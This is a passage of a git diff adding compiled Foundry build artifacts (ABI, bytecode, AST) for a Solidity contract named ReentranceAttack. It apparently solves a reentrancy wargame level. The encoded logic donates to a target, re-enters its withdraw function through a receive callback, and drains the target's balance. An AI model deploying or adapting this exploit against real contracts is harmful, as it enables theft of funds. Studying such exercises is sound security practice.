1"},"value":"1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"expression":{"id":49739,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49713,"src":"587:6:55","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}},"id":49741,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"594:8:55","memberName":"withdraw","nodeType":"MemberAccess","referencedDeclaration":49709,"src":"587:15:55","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":49743,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"587:18:55","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49744,"nodeType":"ExpressionStatement","src":"587:18:55"}]},"functionSelector":"de6c6acd","implemented":true,"kind":"function","modifiers":[],"name":"attack_1_causeOverflow","nameLocation":"497:22:55","parameters":{"id":49726,"nodeType":"ParameterList","parameters":[],"src":"519:2:55"},"returnParameters":{"id":49727,"nodeType":"ParameterList","parameters":[],"src":"529:0:55"},"scope":49771,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":49760,"nodeType":"FunctionDefinition","src":"618:92:55","nodes":[],"body":{"id":49759,"nodeType":"Block","src":"653:57:55","nodes":[],"statements":[{"expression":{"arguments":[{"expression":{"arguments":[{"id":49754,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49713,"src":"687:6:55","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}],"id":49753,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"679:7:55","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49752,"name":"address","nodeType":"ElementaryTypeName","src":"679:7:55","typeDescriptions":{}}},"id":49755,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"679:15:55","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":49756,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"695:7:55","memberName":"balance","nodeType":"MemberAccess","src":"679:23:55","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":49749,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49713,"src":"663:6:55","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}},"id":49751,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"670:8:55","memberName":"withdraw","nodeType":"MemberAccess","referencedDeclaration":49709,"src":"663:15:55","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":49757,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"663:40:55","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49758,"nodeType":"ExpressionStatement","src":"663:40:55"}]},"functionSelector":"218d3fa8","implemented":true,"kind":"function","modifiers":[],"name":"attack_2_deplete","nameLocation":"627:16:55","parameters":{"id":49747,"nodeType":"ParameterList","parameters":[],"src":"643:2:55"},"returnParameters":{"id":49748,"nodeType":"ParameterList","parameters":[],"src":"653:0:55"},"scope":49771,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":49770,"nodeType":"FunctionDefinition","src":"716:62:55","nodes":[],"body":{"id":49769,"nodeType":"Block","src":"743:35:55","nodes":[],"statements":[{"expression":{"arguments":[{"hexValue":"31","id":49766,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"769:1:55","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"expression":{"id":49763,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49713,"src":"753:6:55","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}},"id":49765,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"760:8:55","memberName":"withdraw","nodeType":"MemberAccess","referencedDeclaration":49709,"src":"753:15:55","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":49767,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"753:18:55","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49768,"nodeType":"ExpressionStatement","src":"753:18:55"}]},"implemented":true,"kind":"receive","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":49761,"nodeType":"ParameterList","parameters":[],"src":"723:2:55"},"returnParameters":{"id":49762,"nodeType":"ParameterList","parameters":[],"src":"743:0:55"},"scope":49771,"stateMutability":"payable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"ReentranceAttack","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49771],"name":"ReentranceAttack","nameLocation":"338:16:55","scope":49772,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":55} \ No newline at end of file diff --git a/contracts/out/ReentranceAttack.sol/ReentranceAttack.json b/contracts/out/ReentranceAttack.sol/ReentranceAttack.json new file mode 100644 index 000000000..a1e8f8b8b --- /dev/null +++ b/contracts/out/ReentranceAttack.sol/ReentranceAttack.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"_target","type":"address","internalType":"address payable"}],"stateMutability":"payable"},{"type":"receive","stateMutability":"payable"},{"type":"function","name":"attack_1_causeOverflow","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"attack_2_deplete","inputs":[],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x608060405260405161029a38038061029a83398101604081905261002291610046565b5f80546001600160a01b0319166001600160a01b0392909216919091179055610073565b5f60208284031215610056575f80fd5b81516001600160a01b038116811461006c575f80fd5b9392505050565b61021a806100805f395ff3fe60806040526004361061002b575f3560e01c8063218d3fa814610097578063de6c6acd146100ab575f80fd5b36610093575f54604051632e1a7d4d60e01b81526001600482015273ffffffffffffffffffffffffffffffffffffffff90911690632e1a7d4d906024015f604051808303815f87803b15801561007f575f80fd5b505af1158015610091573d5f803e3d5ffd5b005b5f80fd5b3480156100a2575f80fd5b506100916100bf565b3480156100b6575f80fd5b50610091610127565b5f54604051632e1a7d4d60e01b815273ffffffffffffffffffffffffffffffffffffffff9091168031600483015290632e1a7d4d906024015b5f604051808303815f87803b15801561010f575f80fd5b505af1158015610121573d5f803e3d5ffd5b50505050565b5f546040517e362a9500000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff9091169062362a95906001906024015f604051808303818588803b15801561018f575f80fd5b505af11580156101a1573d5f803e3d5ffd5b50505f54604051632e1a7d4d60e01b81526001600482015273ffffffffffffffffffffffffffffffffffffffff9091169350632e1a7d4d925060240190506100f856fea264697066735822122077936227858899eeca8313b24be07e4edd057cfbff1b9d79db2cedc02d353d2864736f6c63430008180033","sourceMap":"329:451:55:-:0;;;385:97;;;;;;;;;;;;;;;;;;:::i;:::-;447:6;:28;;-1:-1:-1;;;;;;447:28:55;-1:-1:-1;;;;;447:28:55;;;;;;;;;;329:451;;14:298:155;92:6;145:2;133:9;124:7;120:23;116:32;113:52;;;161:1;158;151:12;113:52;187:16;;-1:-1:-1;;;;;232:31:155;;222:42;;212:70;;278:1;275;268:12;212:70;301:5;14:298;-1:-1:-1;;;14:298:155:o;:::-;329:451:55;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x60806040526004361061002b575f3560e01c8063218d3fa814610097578063de6c6acd146100ab575f80fd5b36610093575f54604051632e1a7d4d60e01b81526001600482015273ffffffffffffffffffffffffffffffffffffffff90911690632e1a7d4d906024015f604051808303815f87803b15801561007f575f80fd5b505af1158015610091573d5f803e3d5ffd5b005b5f80fd5b3480156100a2575f80fd5b506100916100bf565b3480156100b6575f80fd5b50610091610127565b5f54604051632e1a7d4d60e01b815273ffffffffffffffffffffffffffffffffffffffff9091168031600483015290632e1a7d4d906024015b5f604051808303815f87803b15801561010f575f80fd5b505af1158015610121573d5f803e3d5ffd5b50505050565b5f546040517e362a9500000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff9091169062362a95906001906024015f604051808303818588803b15801561018f575f80fd5b505af11580156101a1573d5f803e3d5ffd5b50505f54604051632e1a7d4d60e01b81526001600482015273ffffffffffffffffffffffffffffffffffffffff9091169350632e1a7d4d925060240190506100f856fea264697066735822122077936227858899eeca8313b24be07e4edd057cfbff1b9d79db2cedc02d353d2864736f6c63430008180033","sourceMap":"329:451:55:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;753:6;;:18;;-1:-1:-1;;;753:18:55;;:6;:18;;;168:25:155;753:6:55;;;;;:15;;141:18:155;;753::55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;329:451;;;;618:92;;;;;;;;;;;;;:::i;488:124::-;;;;;;;;;;;;;:::i;618:92::-;663:6;;:40;;-1:-1:-1;;;663:40:55;;:6;;;;679:23;;663:40;;;168:25:155;663:6:55;:15;;141:18:155;;663:40:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;618:92::o;488:124::-;539:6;;:38;;;;;571:4;539:38;;;532:74:155;539:6:55;;;;;:13;;:6;;505:18:155;;539:38:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;587:6:55;;:18;;-1:-1:-1;;;587:18:55;;:6;:18;;;168:25:155;587:6:55;;;;;-1:-1:-1;587:15:55;;-1:-1:-1;141:18:155;;;-1:-1:-1;587:18:55;14:185:155","linkReferences":{}},"methodIdentifiers":{"attack_1_causeOverflow()":"de6c6acd","attack_2_deplete()":"218d3fa8"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_target\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"attack_1_causeOverflow\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"attack_2_deplete\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"stateMutability\":\"payable\",\"type\":\"receive\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/ReentranceAttack.sol\":\"ReentranceAttack\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/attacks/ReentranceAttack.sol\":{\"keccak256\":\"0xe63d072819ce39defd53bc880be712b28ddf8b52a4fb2c3fad1ac18f9808e90e\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7e1016f187e230df88373c674a96b094fed2bf301dadb0a8445904ad559da195\",\"dweb:/ipfs/QmQLWAAUEBgvayDHhsmx8MGPVF2z3DL3wo3GWGX8uxhZ7A\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address payable","name":"_target","type":"address"}],"stateMutability":"payable","type":"constructor"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"attack_1_causeOverflow"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"attack_2_deplete"},{"inputs":[],"stateMutability":"payable","type":"receive"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/ReentranceAttack.sol":"ReentranceAttack"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/attacks/ReentranceAttack.sol":{"keccak256":"0xe63d072819ce39defd53bc880be712b28ddf8b52a4fb2c3fad1ac18f9808e90e","urls":["bzz-raw://7e1016f187e230df88373c674a96b094fed2bf301dadb0a8445904ad559da195","dweb:/ipfs/QmQLWAAUEBgvayDHhsmx8MGPVF2z3DL3wo3GWGX8uxhZ7A"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/ReentranceAttack.sol","id":49772,"exportedSymbols":{"Reentrance":[49710],"ReentranceAttack":[49771]},"nodeType":"SourceUnit","src":"32:749:55","nodes":[{"id":49685,"nodeType":"PragmaDirective","src":"32:23:55","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49710,"nodeType":"ContractDefinition","src":"96:231:55","nodes":[{"id":49692,"nodeType":"FunctionDefinition","src":"123:54:55","nodes":[],"functionSelector":"27e235e3","implemented":false,"kind":"function","modifiers":[],"name":"balances","nameLocation":"132:8:55","parameters":{"id":49688,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49687,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49692,"src":"141:7:55","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49686,"name":"address","nodeType":"ElementaryTypeName","src":"141:7:55","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"140:9:55"},"returnParameters":{"id":49691,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49690,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49692,"src":"168:7:55","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":49689,"name":"uint256","nodeType":"ElementaryTypeName","src":"168:7:55","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"167:9:55"},"scope":49710,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":49697,"nodeType":"FunctionDefinition","src":"182:42:55","nodes":[],"functionSelector":"00362a95","implemented":false,"kind":"function","modifiers":[],"name":"donate","nameLocation":"191:6:55","parameters":{"id":49695,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49694,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49697,"src":"198:7:55","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49693,"name":"address","nodeType":"ElementaryTypeName","src":"198:7:55","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"197:9:55"},"returnParameters":{"id":49696,"nodeType":"ParameterList","parameters":[],"src":"223:0:55"},"scope":49710,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":49704,"nodeType":"FunctionDefinition","src":"229:55:55","nodes":[],"functionSelector":"70a08231","implemented":false,"kind":"function","modifiers":[],"name":"balanceOf","nameLocation":"238:9:55","parameters":{"id":49700,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49699,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49704,"src":"248:7:55","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49698,"name":"address","nodeType":"ElementaryTypeName","src":"248:7:55","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"247:9:55"},"returnParameters":{"id":49703,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49702,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49704,"src":"275:7:55","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":49701,"name":"uint256","nodeType":"ElementaryTypeName","src":"275:7:55","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"274:9:55"},"scope":49710,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":49709,"nodeType":"FunctionDefinition","src":"289:36:55","nodes":[],"functionSelector":"2e1a7d4d","implemented":false,"kind":"function","modifiers":[],"name":"withdraw","nameLocation":"298:8:55","parameters":{"id":49707,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49706,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49709,"src":"307:7:55","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":49705,"name":"uint256","nodeType":"ElementaryTypeName","src":"307:7:55","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"306:9:55"},"returnParameters":{"id":49708,"nodeType":"ParameterList","parameters":[],"src":"324:0:55"},"scope":49710,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Reentrance","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[49710],"name":"Reentrance","nameLocation":"106:10:55","scope":49772,"usedErrors":[],"usedEvents":[]},{"id":49771,"nodeType":"ContractDefinition","src":"329:451:55","nodes":[{"id":49713,"nodeType":"VariableDeclaration","src":"361:17:55","nodes":[],"constant":false,"mutability":"mutable","name":"target","nameLocation":"372:6:55","scope":49771,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"},"typeName":{"id":49712,"nodeType":"UserDefinedTypeName","pathNode":{"id":49711,"name":"Reentrance","nameLocations":["361:10:55"],"nodeType":"IdentifierPath","referencedDeclaration":49710,"src":"361:10:55"},"referencedDeclaration":49710,"src":"361:10:55","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}},"visibility":"internal"},{"id":49725,"nodeType":"FunctionDefinition","src":"385:97:55","nodes":[],"body":{"id":49724,"nodeType":"Block","src":"437:45:55","nodes":[],"statements":[{"expression":{"id":49722,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":49718,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49713,"src":"447:6:55","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":49720,"name":"_target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49715,"src":"467:7:55","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":49719,"name":"Reentrance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49710,"src":"456:10:55","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Reentrance_$49710_$","typeString":"type(contract Reentrance)"}},"id":49721,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"456:19:55","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}},"src":"447:28:55","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}},"id":49723,"nodeType":"ExpressionStatement","src":"447:28:55"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":49716,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49715,"mutability":"mutable","name":"_target","nameLocation":"413:7:55","nodeType":"VariableDeclaration","scope":49725,"src":"397:23:55","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":49714,"name":"address","nodeType":"ElementaryTypeName","src":"397:15:55","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"}],"src":"396:25:55"},"returnParameters":{"id":49717,"nodeType":"ParameterList","parameters":[],"src":"437:0:55"},"scope":49771,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":49746,"nodeType":"FunctionDefinition","src":"488:124:55","nodes":[],"body":{"id":49745,"nodeType":"Block","src":"529:83:55","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":49735,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"571:4:55","typeDescriptions":{"typeIdentifier":"t_contract$_ReentranceAttack_$49771","typeString":"contract ReentranceAttack"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_ReentranceAttack_$49771","typeString":"contract ReentranceAttack"}],"id":49734,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"563:7:55","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49733,"name":"address","nodeType":"ElementaryTypeName","src":"563:7:55","typeDescriptions":{}}},"id":49736,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"563:13:55","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":49728,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49713,"src":"539:6:55","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}},"id":49730,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"546:6:55","memberName":"donate","nodeType":"MemberAccess","referencedDeclaration":49697,"src":"539:13:55","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_address_$returns$__$","typeString":"function (address) payable external"}},"id":49732,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"hexValue":"31","id":49731,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"560:1:55","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"src":"539:23:55","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_address_$returns$__$value","typeString":"function (address) payable external"}},"id":49737,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"539:38:55","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49738,"nodeType":"ExpressionStatement","src":"539:38:55"},{"expression":{"arguments":[{"hexValue":"31","id":49742,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"603:1:55","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"expression":{"id":49739,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49713,"src":"587:6:55","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}},"id":49741,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"594:8:55","memberName":"withdraw","nodeType":"MemberAccess","referencedDeclaration":49709,"src":"587:15:55","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":49743,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"587:18:55","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49744,"nodeType":"ExpressionStatement","src":"587:18:55"}]},"functionSelector":"de6c6acd","implemented":true,"kind":"function","modifiers":[],"name":"attack_1_causeOverflow","nameLocation":"497:22:55","parameters":{"id":49726,"nodeType":"ParameterList","parameters":[],"src":"519:2:55"},"returnParameters":{"id":49727,"nodeType":"ParameterList","parameters":[],"src":"529:0:55"},"scope":49771,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":49760,"nodeType":"FunctionDefinition","src":"618:92:55","nodes":[],"body":{"id":49759,"nodeType":"Block","src":"653:57:55","nodes":[],"statements":[{"expression":{"arguments":[{"expression":{"arguments":[{"id":49754,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49713,"src":"687:6:55","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}],"id":49753,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"679:7:55","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49752,"name":"address","nodeType":"ElementaryTypeName","src":"679:7:55","typeDescriptions":{}}},"id":49755,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"679:15:55","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":49756,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"695:7:55","memberName":"balance","nodeType":"MemberAccess","src":"679:23:55","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":49749,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49713,"src":"663:6:55","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}},"id":49751,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"670:8:55","memberName":"withdraw","nodeType":"MemberAccess","referencedDeclaration":49709,"src":"663:15:55","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":49757,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"663:40:55","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49758,"nodeType":"ExpressionStatement","src":"663:40:55"}]},"functionSelector":"218d3fa8","implemented":true,"kind":"function","modifiers":[],"name":"attack_2_deplete","nameLocation":"627:16:55","parameters":{"id":49747,"nodeType":"ParameterList","parameters":[],"src":"643:2:55"},"returnParameters":{"id":49748,"nodeType":"ParameterList","parameters":[],"src":"653:0:55"},"scope":49771,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":49770,"nodeType":"FunctionDefinition","src":"716:62:55","nodes":[],"body":{"id":49769,"nodeType":"Block","src":"743:35:55","nodes":[],"statements":[{"expression":{"arguments":[{"hexValue":"31","id":49766,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Li